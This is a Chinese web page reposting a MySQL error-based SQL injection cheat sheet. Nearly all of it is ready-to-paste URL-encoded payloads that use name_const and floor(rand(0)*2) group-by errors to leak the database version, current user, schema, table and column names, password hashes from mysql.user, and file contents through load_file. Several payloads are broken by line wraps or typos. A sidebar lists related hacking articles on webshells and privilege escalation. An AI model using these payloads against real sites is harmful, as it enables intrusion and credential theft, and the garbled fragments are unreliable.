当前位置: 首页 > news >正文

Mysql暴错注入代码

MySql Error Based Injection Reference
[Mysql暴错注入参考]
Author:Pnig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+table_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C://boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节

相关文章:

  • PhpMyadmin最新拿WEBshell
  • arpsf 嗅探使用
  • 域渗透
  • 安全的使用带后门的webshell
  • oldjun 检测网站的经验
  • SQL注入eWebEditor数据库
  • serv-u8 本地提权
  • 很多黑阔的密码
  • 《SQL Server Online Manager》SQL Server 在线管理
  • linux下端口转发工具rinetd
  • 获取IIS虚拟网站信息的工具
  • 利用系统保留文件名创建无法删除的webshell
  • linux下用webshell修改文件权限
  • ASP .NET PHP 注入页面构造
  • 黑盒白盒测试工具
  • 收藏网友的 源程序下载网
  • 初识 beanstalkd
  • 对话:中国为什么有前途/ 写给中国的经济学
  • 利用DataURL技术在网页上显示图片
  • 网页视频流m3u8/ts视频下载
  • 小李飞刀:SQL题目刷起来!
  • 一起来学SpringBoot | 第十篇:使用Spring Cache集成Redis
  • 阿里云服务器购买完整流程
  • 完善智慧办公建设,小熊U租获京东数千万元A+轮融资 ...
  • ​一、什么是射频识别?二、射频识别系统组成及工作原理三、射频识别系统分类四、RFID与物联网​
  • (6)设计一个TimeMap
  • (C#)if (this == null)?你在逗我,this 怎么可能为 null!用 IL 编译和反编译看穿一切
  • (ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)讲解
  • (八十八)VFL语言初步 - 实现布局
  • (草履虫都可以看懂的)PyQt子窗口向主窗口传递参数,主窗口接收子窗口信号、参数。
  • (二)JAVA使用POI操作excel
  • (二开)Flink 修改源码拓展 SQL 语法
  • (七)c52学习之旅-中断
  • (算法)Game
  • (转)程序员疫苗:代码注入
  • (转)创业家杂志:UCWEB天使第一步
  • .Net Core和.Net Standard直观理解
  • .NET Framework杂记
  • .Net 高效开发之不可错过的实用工具
  • .net2005怎么读string形的xml,不是xml文件。
  • .stream().map与.stream().flatMap的使用
  • [ 第一章] JavaScript 简史
  • [20150707]外部表与rowid.txt
  • [BZOJ1040][P2607][ZJOI2008]骑士[树形DP+基环树]
  • [BZOJ1089][SCOI2003]严格n元树(递推+高精度)
  • [C# 网络编程系列]专题六:UDP编程
  • [C#]winform利用seetaface6实现C#人脸检测活体检测口罩检测年龄预测性别判断眼睛状态检测
  • [CTF]2022美团CTF WEB WP
  • [JavaWeb]—前端篇
  • [Latex] Riemann 问题中的激波,接触间断,膨胀波的 Tikz 绘图
  • [loj6039]「雅礼集训 2017 Day5」珠宝 dp+决策单调性+分治
  • [PyQt] 使用.qrc 生成资源文件供程序中使用
  • [Python] 集合操作及方法总结
  • [Python从零到壹] 五十三.图像增强及运算篇之直方图均衡化处理
  • [Redis]——数据一致性,先操作数据库,还是先更新缓存?